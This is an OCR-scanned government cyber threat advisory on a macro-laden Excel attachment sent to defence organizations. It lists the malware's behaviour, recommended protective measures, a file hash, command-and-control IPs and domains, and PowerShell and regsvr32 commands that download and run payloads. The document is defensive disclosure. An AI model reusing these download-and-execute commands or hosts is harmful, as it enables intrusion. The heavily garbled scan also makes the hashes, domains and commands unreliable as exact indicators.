Subject: -  Cyber Threat Advisory - Malware Analysis Report : PIM June Training
Activity (Advisory No. 26)

1. Analysis of suspicious email with the subject “PIM June Training activity” and
a malicious attachment “Details 2022.03.03_1501.xIsm" revealed that document file
“Details 2022.03.03_1501.xlsm’"is a sophisticated and targeted attack by hostile
Cyber actors and is spreading through email amongst defence organizations for
information gathering and system control. Detail analysis is appended in ensuing

paragrapns.

Z. The summary of malicious email containing Microsoft Excel Spreadsheet

integrated with exploit and malware is attached as (Appendix-l)
3. Analysis of malicious file reveals following behavior: -

a. It can download different malicious payloads and files from Command

and Control Server.

b. The attacker can gain remote access of the system and can perform

different malicious functions.

'( It can execute a hazardous VBA script (Macro) with suspicious auto

execution of remote access Trojan.

d It can schedule itself and other malicious processes for persistence.

( It can access and manipulate user directories and files.

f. Data stored on infected computer can be fetched.
A/ 4, Recommendations. Above in view, following preventive measures must be
qﬂ” ensured by all coneérhed: -
| / a. icrosoft executables including Verclsid, Rundl32, Regsvr32,
Regsvcs/Regasm, Odbcconf, MSiexec, Mshta, InstallUtil, CMSTP,

Cﬁ/\ L// ControlPane, Compiled HTML File be monitored as major malware
‘ executables and be blacklisted

')) b. Be vigilant regarding redirected links and typing sensitive information
_6k\'§’%4,/_ online.
6 A 7)3c. Disable Macros in all systems available in network and ensure user
‘;{1—',)‘ privileges are managed.
Uninstall all not in use applications / software from system and personal
one.
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& Do not download attachments from emails unless you are sug” .
about the source. LI
f. Window defender and firewall be kept on recommended settings.
5. For any query or issues with regard to Cyber Security, report may please be

forwarded to the following email addresses: -

a. eagle1978@mail.com
b. falcon098@writeme.com
C. asntisb2@cabinet.gov.pk

6. Kindly disseminate the same message to all concerned in your

organizations, all attached/ affiliated departments and ensure necessary protective

measures.
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File Description

Ser | File Name Malware Category | File Signat

a. | Details Trojan MB5 wﬁ 0751 d87ca96ec35c990798d63
2022.03.03_ | (Script.Agentb.am) *"gb*f

15 01.xism _ .QQWSHM c{;4$1Cf1c1[?4atsdloess:n45dctsrsaazdszzaa
<1 B

Files included & ‘j ? &Qg‘

S F Sed i ici i
er ileém (\@ tdl Score Suspicious Behavior Score

a. “@@dgma 03_150¢&58 Y J ~ ]
b [2022.03.03_150},zip 40/ 61 %,\' % /100

C. enu.ccx C\
d. Regsvr32.exe ﬁ:%

Dropped Files. The Microsoft Excﬁ% .downlﬁlads mqlmgus payload and drops it at
tion

path “C: \users\Admlmstral%,p% f(% for further e%t
C&C Server é ’%“

4 .hﬂ? A\Elg;e 3 -DW%ﬂLest’ Counl / Region

a. | 194163.142.38' l‘ lifebrandedcontent.com erf@dny/Bayern

b. |185.88.31.150 Onlyfansgo.com Q\J\J Romania/Galati

c. |72.167.69.26 MacroantonloglfeLr | ne‘ss com | United states of America /
Arizona

System and Network Commands’ o1low1ng commw’@re used to download and
cute malware:- }E
a. Command hel e ehti @ﬁ randedcontent

()ﬁomﬁﬁ m IQTETE q kpf
b. '\ h nd: P Il.
http: /lwww. macrowo ioguerrerafitness.com/cgi- -sys/suspendedpage(.)cgi

c. Command: Powershell.exe http:/www. macroantonioguerrefitness  (.)com/wp-
content/Gzza9Kkuuca/
d. Command: C:/Windows/SysWow64/regsvr32.exels../enu.ocx

Note: enu,ocx uses windows utility regsvr32.exe for its execution.
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